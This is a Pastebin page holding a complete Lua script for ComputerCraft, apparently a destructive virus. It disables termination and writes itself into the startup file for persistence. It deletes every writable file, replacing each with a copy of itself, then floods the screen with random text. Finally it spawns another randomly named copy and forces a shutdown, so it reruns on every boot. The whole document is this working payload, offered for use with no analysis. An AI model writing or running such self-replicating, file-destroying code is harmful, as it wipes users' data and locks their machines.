Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- os.pullEvent = os.pullEventRaw
- local chars = {"a","b'","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","1","2","3","4","5","6","7","8","9","0","-","-","-","_","_","!","@","#","$","%","&"}
- local maxchars = 73
- local tempchar = 0
- local currentstring = ""
- local runtotal = 0
- local newname = ""
- os.setComputerLabel("nil_")
- if fs.exists("startup") == false then
- local vrs = fs.open("startup","w")
- vrs.write("shell.run("..'"'..shell.getRunningProgram()..'"'..")")
- vrs.close()
- end
- for _, f in ipairs( fs.list("") ) do
- if not fs.isReadOnly( f ) and f ~= "disk" and f ~= shell.getRunningProgram() and f ~= "startup" then
- fs.delete( f )
- fs.copy(shell.getRunningProgram(),f)
- local vrp = fs.open("startup","a")
- vrp.writeLine("shell.run("..'"'..f..'"'..")")
- vrp.close()
- end
- end
- term.setTextColor(colors.white)
- term.setBackgroundColor(colors.blue)
- term.clear()
- term.setCursorPos(1,1)
- while true do
- for i=1,46 do
- tempchar = math.random(1,maxchars)
- if i == 1 then
- currentstring = chars[tempchar]
- else
- currentstring = currentstring .. chars[tempchar]
- end
- --print(currentstring)
- if i == 46 then
- print(currentstring)
- runtotal = runtotal + 1
- sleep(.1)
- end
- if runtotal == 100 then
- for a=1,10 do
- if a==1 then
- newname = chars[math.random(1,maxchars)]
- else
- newname = newname .. chars[math.random(1,maxchars)]
- if a == 10 then
- fs.copy(shell.getRunningProgram(),newname)
- local vrp = fs.open("startup","a")
- vrp.writeLine("shell.run("..'"'..newname..'"'..")")
- vrp.close()
- end
- end
- end
- os.shutdown()
- end
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement